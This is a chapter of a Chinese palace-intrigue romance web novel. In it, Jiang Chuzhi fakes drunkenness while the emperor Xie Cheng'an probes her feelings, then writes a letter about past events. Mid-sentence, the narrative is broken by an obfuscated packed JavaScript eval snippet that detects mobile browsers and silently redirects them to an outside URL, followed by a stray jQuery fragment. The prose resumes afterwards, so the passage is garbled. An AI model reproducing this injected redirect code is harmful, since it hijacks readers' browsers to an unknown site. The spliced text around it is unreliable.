42. 第42章

作品:《臣妻

    夕阳西下,天边的晚霞散落一地,整个京城散发出金黄色的光芒。


    景山之上,有两个并肩远眺的身影,昏暗发黄的光线打在两人身上,散发出柔和的光芒。


    “这里可以俯瞰整个京城。”谢承安温柔一笑,将背在身后的其中一只手移到腹前。


    东市,西市,皇宫,京郊,一览无余,傍晚的到来使得街道上的灯笼亮起,说书人、卖艺人都出了摊,喝彩声一片,繁华热闹。


    姜初芷望的出神,这是秦家帮助谢家打下的天下。


    “阿芷。”


    回过神来,只见谢承安面对着她,两只大手紧紧地握住她的两只手,她有些彷徨,茫然将目光从两只手移到他的眼睛上,静静地望着他。


    “我想要你,做我的皇后,与我共谋山河无恙。”


    那双眼睛很深情,黑色的瞳孔里,只倒映着她一人,弯弯的眉眼,散发出淡淡的笑意。


    共谋山河无恙?姜初芷突然觉得讽刺,秦家忠心耿耿这么多年,至死也没能等来这句话,反倒是她一个见不得人的情人,轻易便听到了从帝王嘴里吐出的共谋山河无恙。


    “好。”


    嘴角咧到了耳后,她回应着他的深情,依偎在谢承安的怀中。


    夜里山上的蚊虫很多,谢承安见没了太阳,立刻牵着她下山。


    两人手牵手走在摩肩接踵的街道上,就像普通的有情人在街上散步。


    “好久也没能出来逛逛了。”谢承安攥紧掌心中的小手,他仿佛是第一次入京的人,对这周围的事物都充满了好奇,时不时东张西望。


    这里是西市,大多是寻常百姓来的地方,王公贵族们都爱去东市,因此谢承安很是随意松弛。


    “阿芷,你看!有糖人!”谢承安显得很激动,嘴角扬得很高,“你想不想吃?”


    姜初芷知道他想吃,熟练地迎合着他:“想吃。”


    “老板,来两个牛郎织女形状的。”谢承安给了银钱,兴高采烈地挑选样式,不一会儿,手中已经举着两个糖人。


    “给你。”


    眼见姜初芷一只手接过,谢承安立刻用他那只空余的手牵着她。


    “陛下,我们会被认出来的。”姜初芷看了看四周,似笑非笑地提醒着他,他带她来西市,看来他心中还是害怕这世俗的目光,她要推他一把。


    谢承安的笑容有些僵硬:“不会的,这里是西市。”


    他一直都知道,帝王的玩笑,怎么能当真呢?共谋山河无恙?姜初芷恍然大悟,甜甜笑道:“也对。”


    谢承安惊愕不已,他没料到姜初芷这般高兴,一点生气的迹象也看不到,难道在她心中,他就是这么敢做不敢当的男人吗?


    谢承安犹豫片刻,笑道:“一会儿我们再去东市逛逛。”


    一会儿是多久?等到三更半夜,街上都没了人?姜初芷故意婉拒道:“这西市这么大,我还没逛过,就在这里逛吧。”她突然惊起,“你看!那有人在变脸!”


    说罢,姜初芷拉起谢承安飞快地朝着人群跑去,艰难地挤到前面。


    “好!!”紧接着是不绝于耳的掌声。


    姜初芷在看戏,谢承安在看她。姜初芷也知道谢承安在看她,只是她没有扭头对上他的视线,假装沉浸在这戏中,时不时与其他观众一起鼓掌。


    天色渐渐暗了,明月爬上了树梢,谢承安扯了扯姜初芷的袖子,小声说道:“我带你去吃饭。”


    不出意外,吃饭的地方是茗香居,且在顶层。


    这茗香居的顶层只有一间包厢,中间只摆着一张酒桌,站在宽大的长廊可以看见明黄色的圆月。


    今日是十五,难怪这月这样圆。圆桌上已经摆好了美酒佳肴,飘香四处,让人无法自拔。


    “坐吧。”谢承安指了指对面的圆凳,示意姜初芷坐下。


    饭菜还没下肚,谢承安已经为她倒满了酒。


    “陛下……”姜初芷打量着眼珠微微抬眸看他。


    谢承安似乎是明白了她的顾虑,连忙笑道:“这你放心,琴儿已经备好马车在楼下等待,我的人也来了。”


    姜初芷端起了酒杯,小酌一口,警惕地观察着谢承安的举动,他这是想让她酒后吐真言么?


    夜晚天气寒凉,几杯热酒下肚,身体渐渐暖和起来。


    “来,吃这个。”谢承安笑着给她加了片鱼,“这可是茗香居的招牌。”


    回忆的匣子似乎被打开了,谢承安情不自禁喃喃自语道:“小时我最爱吃这个,可父皇却说,帝王不能喜怒形于色,后来便不许我来了。”


    姜初芷微愣,谢承安不是最不得宠的四皇子么?先皇怎么会与他说这些,她狐疑地把鱼片放入口中,果然入口即化,细腻如丝。


    吃了些菜,谢承安又给她的酒杯满上。


    姜初芷假装不知,一边夸着这酒好喝,一边使劲往嘴里灌。


    又喝了两杯,面色红润得发烫,姜初芷趴在了圆桌上,似乎是醉了。


    “阿芷?”


    谢承安推了推她,她茫然地抬起头,红着脸望着他,嘟囔着嘴问道:“做什么?”


    这样对他出言不逊,看来是醉了,谢承安笑道:“没什么。”


    姜初芷扶着脑袋坐直了身子,伸手就去抓酒瓶子:“真好喝,我还要喝。”


    谢承安赶忙阻拦,掰开她的手指夺回酒瓶子放在地下:“你醉了,我们不喝了。”谢承安换了个位置,坐在她身边的圆凳上抱着她。


    “我才没有醉……”姜初芷傻笑起来,朝着谢承安的脸色吐了口气,浓浓的酒味终于打消了谢承安的疑虑。


    “你,叫什么名字?”


    姜初芷白眼一翻,欲有推开他之意:“姜初芷啊,怎么?你不是谢承安么?”


    不等谢承安开口,姜初芷突然哭着骂了起来:“谢承安那个混蛋,明明嘴上说爱我,却是把我让给他人,每次都糊弄我,他不知道,不知道我有多爱他,我每天想他想得发疯,日日夜夜脑海里都是他的身影。”


    这话说着说着,连她自己也快要相信了,身上情不自禁起了鸡皮疙瘩。


    心跳漏了一拍,谢承安虎躯一震


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547239|140920||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,诧异地望着怀中的娇软美人,原来她这样爱他!


    谢承安忽觉得有些愧疚,望着姜初芷的目光愈发复杂起来,是一种看到猎物的兴奋之感。


    “这是梦吗?”双手捧起谢承安的脸,姜初芷朝着他的脸颊亲了一口,傻笑地望着他,“既然如此就不要醒来了,你一直陪着我好不好?”


    谢承安恍惚点头,轻声细语道:“好。”


    “你可别骗我。”


    “不骗你。”


    喉结上下滚动,谢承安努力压抑着身体里的火苗,他摘下身上的披风,盖在姜初芷的身上,一把将她抱起:“我带你回家。”


    他的声音很轻,比她的鼾声还轻,似乎是怕打搅了她的美梦。


    他们是从后面的小门出来的,这里并没有什么人,原来这京城第一楼的神秘主人,就是谢承安。


    门口早已有一群黑压压的人候着,不过都压低着脑袋。


    “陛下。”徐茂财隐隐约约看到黑暗中的人影,立即迎了上去,他很快便吓得愣在原地不敢说话。


    众人都没想到,谢承安是抱着姜初芷走出来的。


    此刻姜初芷的双手还搂在谢承安的脖颈上,脑袋埋在他的胸膛中,睡得正香。


    谢承安脸上是罕见的笑意,他似乎有些得意,他稳步走到琴儿面前,琴儿赶紧掀开帷幔。


    谢承安把姜初芷放在了马车上,他并没有取回她身上盖着的黑色披风,转身就下了马车:“她喝醉了,好生伺候着。”


    琴儿赶忙答道:“是。”说完她便转身也坐上了马车照顾姜初芷。


    “徐茂财。”


    “是。”


    徐茂财眼见着谢承安坐上了回宫的马车,赶紧挥手示意车夫驾车。


    待他远去,琴儿立即吩咐车夫驾车回府。


    车轮滚滚,充斥双耳,不一会儿就到了霍府。


    琴儿扶着七斜八拐的姜初芷走下马车迈入府中,那车夫见任务完成,便驾车离开,回去复命了。


    琴儿忧心忡忡抱着姜初芷,扶着她躺在床榻上,哪料她突然坐了起来。


    “奶奶?”琴儿张大嘴巴,瞪大眼睛打量着她泛红的脸颊。


    “嘘。”姜初芷摸了摸小脸,喃喃自语道:“还有些烫,这酒真够烈的。”说罢,她掀开了身上盖着的披风,“好热。”


    琴儿赶忙举手挥舞,使劲给她扇风。


    “奶奶?”琴儿再次试探道。


    姜初芷见她困惑,小声解释道:“我没醉。”


    琴儿点头,松了口气。


    她不敢想,姜初芷这样恨他们,若是酒后吐真言,该是掉几个脑袋才能了了这事。


    自她被吩咐在这茗香居后面等待开始,她就一直担心这事,如今这心中的石头总算落了地。


    姜初芷突然站起身,朝着案几走去,她取了笔和纸,端坐在案几前写字。


    “姑娘这是做什么?”


    “我有些疑问,写信问问张老,当年的事,到底是个什么来头?”


    琴儿静默,跪在坐垫上给她磨墨。